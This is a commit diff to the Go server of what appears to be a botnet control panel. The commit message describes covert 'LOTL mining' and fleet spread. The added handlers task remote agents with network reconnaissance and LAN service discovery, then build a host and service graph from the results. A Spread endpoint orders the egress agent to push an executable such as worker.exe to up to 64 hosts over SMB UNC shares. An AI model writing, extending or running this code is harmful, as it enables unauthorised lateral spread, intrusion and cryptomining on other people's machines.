Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions
--- a/server/internal/api/pathtracer_handler.go
+++ b/server/internal/api/pathtracer_handler.go
@@ -44,6 +44,23 @@ type HopInfo struct {
 	Error       string    `json:"error,omitempty"`
 }

+// ServiceGraphEntry is one discovered service or port signal on a host.
+type ServiceGraphEntry struct {
+	ServiceName       string `json:"service_name"`
+	Port              int    `json:"port,omitempty"`
+	Status            string `json:"status,omitempty"`
+	JoinLaneCandidate string `json:"join_lane_candidate,omitempty"`
+	Source            string `json:"source,omitempty"`
+}
+
+// ServiceGraphHost groups service findings for one host on a subnet.
+type ServiceGraphHost struct {
+	Host     string              `json:"host"`
+	Subnet   string              `json:"subnet,omitempty"`
+	Services []ServiceGraphEntry `json:"services"`
+	AgentID  string              `json:"agent_id,omitempty"`
+}
+
 // TraceSession holds all state for one active VPN session.
 type TraceSession struct {
 	ID        string    `json:"id"`
@@ -52,6 +69,13 @@ type TraceSession struct {
 	Ready     bool      `json:"ready"`
 	Error     string    `json:"error,omitempty"`
 	CreatedAt time.Time `json:"created_at"`
+	// Service graph keyed by host IP — merged from hop service_discover passes.
+	ServiceGraph       map[string]ServiceGraphHost `json:"service_graph,omitempty"`
+	DiscoverInProgress bool                        `json:"discover_in_progress,omitempty"`
+	DiscoverError      string                      `json:"discover_error,omitempty"`
+	DiscoveredAt       *time.Time                  `json:"discovered_at,omitempty"`
+	// Passive recon from egress hop (network_recon command).
+	NetworkHints json.RawMessage `json:"network_hints,omitempty"`
 	// Client WireGuard keypair — used to build the QR config.
 	clientPrivKey string
 	clientPubKey  string
@@ -178,6 +202,7 @@ func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {

 	// Orchestrate asynchronously so the HTTP response returns quickly.
 	go h.orchestrate(sess)
+	go h.collectEgressNetworkHints(sess)

 	writeJSON(w, map[string]interface{}{
 		"session_id": sess.ID,
@@ -194,12 +219,24 @@ func (h *PathTracerHandler) Status(w http.ResponseWriter, r *http.Request) {
 	}
 	h.mu.Lock()
 	defer h.mu.Unlock()
-	writeJSON(w, map[string]interface{}{
-		"session_id": sess.ID,
-		"ready":      sess.Ready,
-		"error":      sess.Error,
-		"hops":       sess.Hops,
-	})
+	resp := map[string]interface{}{
+		"session_id":           sess.ID,
+		"ready":                sess.Ready,
+		"error":                sess.Error,
+		"hops":                 sess.Hops,
+		"discover_in_progress": sess.DiscoverInProgress,
+		"discover_error":       sess.DiscoverError,
+	}
+	if len(sess.ServiceGraph) > 0 {
+		resp["service_graph"] = serviceGraphList(sess.ServiceGraph)
+	}
+	if sess.DiscoveredAt != nil {
+		resp["discovered_at"] = sess.DiscoveredAt.UTC().Format(time.RFC3339)
+	}
+	if hints := jsonRawOrNil(sess.NetworkHints); hints != nil {
+		resp["network_hints"] = hints
+	}
+	writeJSON(w, resp)
 }

 // GET /api/v1/pathtrace/{id}/qr
@@ -263,8 +300,186 @@ func (h *PathTracerHandler) Delete(w http.ResponseWriter, r *http.Request) {
 	writeJSON(w, map[string]interface{}{"ok": true})
 }

+// POST /api/v1/pathtrace/discover
+// Body: {"session_id":"…","max_hosts":32}
+// Dispatches service_discover on every hop and merges LAN/local findings into service_graph.
+func (h *PathTracerHandler) Discover(w http.ResponseWriter, r *http.Request) {
+	var req struct {
+		SessionID string `json:"session_id"`
+		MaxHosts  int    `json:"max_hosts"`
+	}
+	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
+		http.Error(w, "invalid JSON", http.StatusBadRequest)
+		return
+	}
+	req.SessionID = strings.TrimSpace(req.SessionID)
+	if req.SessionID == "" {
+		http.Error(w, "session_id is required", http.StatusBadRequest)
+		return
+	}
+	maxHosts := req.MaxHosts
+	if maxHosts <= 0 {
+		maxHosts = 32
+	}
+
+	sess := h.getSession(req.SessionID)
+	if sess == nil {
+		http.Error(w, "session not found", http.StatusNotFound)
+		return
+	}
+	if len(sess.Hops) == 0 {
+		http.Error(w, "session has no hops", http.StatusBadRequest)
+		return
+	}
+
+	for _, hop := range sess.Hops {
+		if !h.hub.isAgentConnected(hop.AgentID) {
+			http.Error(w, "hop agent "+hop.AgentID[:min(8, len(hop.AgentID))]+" not connected", http.StatusBadRequest)
+			return
+		}
+	}
+
+	h.mu.Lock()
+	if sess.DiscoverInProgress {
+		h.mu.Unlock()
+		http.Error(w, "discover already in progress", http.StatusConflict)
+		return
+	}
+	sess.DiscoverInProgress = true
+	sess.DiscoverError = ""
+	h.mu.Unlock()
+
+	graph, discoverErr := h.runServiceDiscover(sess.Hops, maxHosts)
+
+	h.mu.Lock()
+	defer h.mu.Unlock()
+	sess.DiscoverInProgress = false
+	if discoverErr != "" {
+		sess.DiscoverError = discoverErr
+	}
+	if len(graph) > 0 {
+		sess.ServiceGraph = mergeServiceGraph(sess.ServiceGraph, graph)
+		now := time.Now()
+		sess.DiscoveredAt = &now
+	}
+
+	writeJSON(w, map[string]interface{}{
+		"ok":             discoverErr == "",
+		"session_id":     sess.ID,
+		"error":          discoverErr,
+		"service_graph":  serviceGraphList(sess.ServiceGraph),
+		"discovered_at":  formatDiscoveredAt(sess.DiscoveredAt),
+	})
+}
+
+// POST /api/v1/pathtrace/spread
+// Body: {"session_id":"…","unc_path":"\\\\forge\\pathforge$\\worker.exe","max_hosts":64}
+// Dispatches spread_smb_unc on the egress Path Tracer hop (last agent in the chain).
+func (h *PathTracerHandler) Spread(w http.ResponseWriter, r *http.Request) {
+	var req struct {
+		SessionID string `json:"session_id"`
+		UNCPath   string `json:"unc_path"`
+		MaxHosts  int    `json:"max_hosts"`
+	}
+	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
+		http.Error(w, "invalid JSON", http.StatusBadRequest)
+		return
+	}
+	req.SessionID = strings.TrimSpace(req.SessionID)
+	req.UNCPath = strings.TrimSpace(req.UNCPath)
+	if req.SessionID == "" || req.UNCPath == "" {
+		http.Error(w, "session_id and unc_path are required", http.StatusBadRequest)
+		return
+	}
+	if !strings.HasPrefix(strings.ToLower(req.UNCPath), `\\`) {
+		http.Error(w, "unc_path must be a UNC share (\\\\host\\share\\file.exe)", http.StatusBadRequest)
+		return
+	}
+	if strings.Contains(req.UNCPath, "..") {
+		http.Error(w, "unc_path must not contain ..", http.StatusBadRequest)
+		return
+	}
+
+	sess := h.getSession(req.SessionID)
+	if sess == nil {
+		http.Error(w, "session not found", http.StatusNotFound)
+		return
+	}
+	if len(sess.Hops) == 0 {
+		http.Error(w, "session has no hops", http.StatusBadRequest)
+		return
+	}
+	egress := sess.Hops[len(sess.Hops)-1]
+	if !h.hub.isAgentConnected(egress.AgentID) {
+		http.Error(w, "egress hop agent not connected", http.StatusBadRequest)
+		return
+	}
+	maxHosts := req.MaxHosts
+	if maxHosts <= 0 {
+		maxHosts = 64
+	}
+	args := map[string]interface{}{
+		"path":    req.UNCPath,
+		"command": fmt.Sprintf("%d", maxHosts),
+	}
+	if err := h.hub.SendAgentCommand(egress.AgentID, "spread_smb_unc", args); err != nil {
+		http.Error(w, err.Error(), http.StatusBadGateway)
+		return
+	}
+	writeJSON(w, map[string]interface{}{
+		"ok":        true,
+		"agent_id":  egress.AgentID,
+		"agent_name": egress.AgentName,
+		"unc_path":  req.UNCPath,
+		"max_hosts": maxHosts,
+		"message":   "spread_smb_unc dispatched on Path Tracer egress hop",
+	})
+}
+
 // ── orchestration ─────────────────────────────────────────────────────────────

+// collectEgressNetworkHints dispatches network_recon on the egress hop for Path Tracer graph hints.
+func (h *PathTracerHandler) collectEgressNetworkHints(sess *TraceSession) {
+	if len(sess.Hops) == 0 {
+		return
+	}
+	egress := sess.Hops[len(sess.Hops)-1]
+	if !h.hub.isAgentConnected(egress.AgentID) {
+		return
+	}
+	ch := h.hub.AwaitCommandResult(egress.AgentID, "network_recon")
+	if err := h.hub.SendAgentCommand(egress.AgentID, "network_recon", nil); err != nil {
+		h.hub.CancelAwait(egress.AgentID, "network_recon")
+		log.Printf("[pathtrace] session %s: network_recon dispatch failed: %v", sess.ID[:8], err)
+		return
+	}
+	select {
+	case payload := <-ch:
+		msgStr, _ := payload["message"].(string)
+		if strings.TrimSpace(msgStr) == "" {
+			return
+		}
+		h.mu.Lock()
+		sess.NetworkHints = json.RawMessage(msgStr)
+		h.mu.Unlock()
+		log.Printf("[pathtrace] session %s: network_hints collected from egress hop", sess.ID[:8])
+	case <-time.After(45 * time.Second):
+		h.hub.CancelAwait(egress.AgentID, "network_recon")
+		log.Printf("[pathtrace] session %s: network_recon timed out", sess.ID[:8])
+	}
+}
+
+func jsonRawOrNil(raw json.RawMessage) interface{} {
+	if len(raw) == 0 || string(raw) == "null" {
+		return nil
+	}
+	var v interface{}
+	if err := json.Unmarshal(raw, &v); err != nil {
+		return nil
+	}
+	return v
+}
+
 func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
 	log.Printf("[pathtrace] session %s: orchestrating %d hop(s)", sess.ID[:8], len(sess.Hops))

@@ -529,6 +744,170 @@ func (h *PathTracerHandler) getSession(id string) *TraceSession {
 	return h.sessions[id]
 }

+type agentDiscoverPayload struct {
+	ProbedAt     string             `json:"probed_at"`
+	Local        ServiceGraphHost   `json:"local"`
+	LANHosts     []ServiceGraphHost `json:"lan_hosts"`
+	PassiveHints []string           `json:"passive_hints,omitempty"`
+}
+
+func (h *PathTracerHandler) runServiceDiscover(hops []*HopInfo, maxHosts int) (map[string]ServiceGraphHost, string) {
+	type discoverResp struct {
+		hop *HopInfo
+		raw string
+		err string
+	}
+	results := make(chan discoverResp, len(hops))
+
+	for _, hop := range hops {
+		hop := hop
+		ch := h.hub.AwaitCommandResult(hop.AgentID, "service_discover")
+		args := map[string]interface{}{"command": fmt.Sprintf("%d", maxHosts)}
+		if err := h.hub.SendAgentCommand(hop.AgentID, "service_discover", args); err != nil {
+			h.hub.CancelAwait(hop.AgentID, "service_discover")
+			results <- discoverResp{hop: hop, err: err.Error()}
+			continue
+		}
+		go func() {
+			select {
+			case payload := <-ch:
+				success, _ := payload["success"].(bool)
+				msg, _ := payload["message"].(string)
+				if !success {
+					results <- discoverResp{hop: hop, err: strings.TrimSpace(msg)}
+					return
+				}
+				results <- discoverResp{hop: hop, raw: msg}
+			case <-time.After(90 * time.Second):
+				h.hub.CancelAwait(hop.AgentID, "service_discover")
+				results <- discoverResp{hop: hop, err: "timeout waiting for service_discover"}
+			}
+		}()
+	}
+
+	merged := make(map[string]ServiceGraphHost)
+	var errs []string
+	for range hops {
+		r := <-results
+		if r.err != "" {
+			errs = append(errs, r.hop.AgentID[:min(8, len(r.hop.AgentID))]+": "+r.err)
+			continue
+		}
+		payload, err := parseAgentDiscoverJSON(r.raw)
+		if err != nil {
+			errs = append(errs, r.hop.AgentID[:min(8, len(r.hop.AgentID))]+": parse error")
+			continue
+		}
+		merged = mergeServiceGraph(merged, graphFromDiscoverPayload(r.hop.AgentID, payload))
+	}
+	if len(merged) == 0 && len(errs) > 0 {
+		return nil, strings.Join(errs, "; ")
+	}
+	if len(errs) > 0 {
+		return merged, "partial: " + strings.Join(errs, "; ")
+	}
+	return merged, ""
+}
+
+func parseAgentDiscoverJSON(raw string) (agentDiscoverPayload, error) {
+	var payload agentDiscoverPayload
+	raw = strings.TrimSpace(raw)
+	if idx := strings.Index(raw, "{"); idx > 0 {
+		raw = raw[idx:]
+	}
+	err := json.Unmarshal([]byte(raw), &payload)
+	return payload, err
+}
+
+func graphFromDiscoverPayload(agentID string, payload agentDiscoverPayload) map[string]ServiceGraphHost {
+	out := make(map[string]ServiceGraphHost)
+	addHost := func(host ServiceGraphHost) {
+		hostKey := strings.TrimSpace(host.Host)
+		if hostKey == "" {
+			return
+		}
+		host.AgentID = agentID
+		existing, ok := out[hostKey]
+		if !ok {
+			host.Services = dedupeServiceEntries(host.Services)
+			out[hostKey] = host
+			return
+		}
+		if existing.Subnet == "" && host.Subnet != "" {
+			existing.Subnet = host.Subnet
+		}
+		if existing.AgentID == "" {
+			existing.AgentID = agentID
+		}
+		existing.Services = dedupeServiceEntries(append(existing.Services, host.Services...))
+		out[hostKey] = existing
+	}
+
+	local := payload.Local
+	local.AgentID = agentID
+	addHost(local)
+	for _, lan := range payload.LANHosts {
+		addHost(lan)
+	}
+	return out
+}
+
+func mergeServiceGraph(base, delta map[string]ServiceGraphHost) map[string]ServiceGraphHost {
+	if base == nil {
+		base = make(map[string]ServiceGraphHost)
+	}
+	for hostKey, host := range delta {
+		existing, ok := base[hostKey]
+		if !ok {
+			dup := host
+			dup.Services = dedupeServiceEntries(dup.Services)
+			base[hostKey] = dup
+			continue
+		}
+		if existing.Subnet == "" && host.Subnet != "" {
+			existing.Subnet = host.Subnet
+		}
+		if existing.AgentID == "" && host.AgentID != "" {
+			existing.AgentID = host.AgentID
+		}
+		existing.Services = dedupeServiceEntries(append(existing.Services, host.Services...))
+		base[hostKey] = existing
+	}
+	return base
+}
+
+func dedupeServiceEntries(in []ServiceGraphEntry) []ServiceGraphEntry {
+	seen := make(map[string]bool, len(in))
+	out := make([]ServiceGraphEntry, 0, len(in))
+	for _, e := range in {
+		key := strings.ToLower(e.ServiceName) + "|" + fmt.Sprintf("%d", e.Port) + "|" + e.Source
+		if seen[key] {
+			continue
+		}
+		seen[key] = true
+		out = append(out, e)
+	}
+	return out
+}
+
+func serviceGraphList(m map[string]ServiceGraphHost) []ServiceGraphHost {
+	if len(m) == 0 {
+		return nil
+	}
+	out := make([]ServiceGraphHost, 0, len(m))
+	for _, host := range m {
+		out = append(out, host)
+	}
+	return out
+}
+
+func formatDiscoveredAt(t *time.Time) string {
+	if t == nil {
+		return ""
+	}
+	return t.UTC().Format(time.RFC3339)
+}
+
 // getAgentConnByID returns the AgentConnection for the given ID (nil if offline).
 func (h *WSHub) getAgentConnByID(id string) *AgentConnection {
 	h.mu.RLock()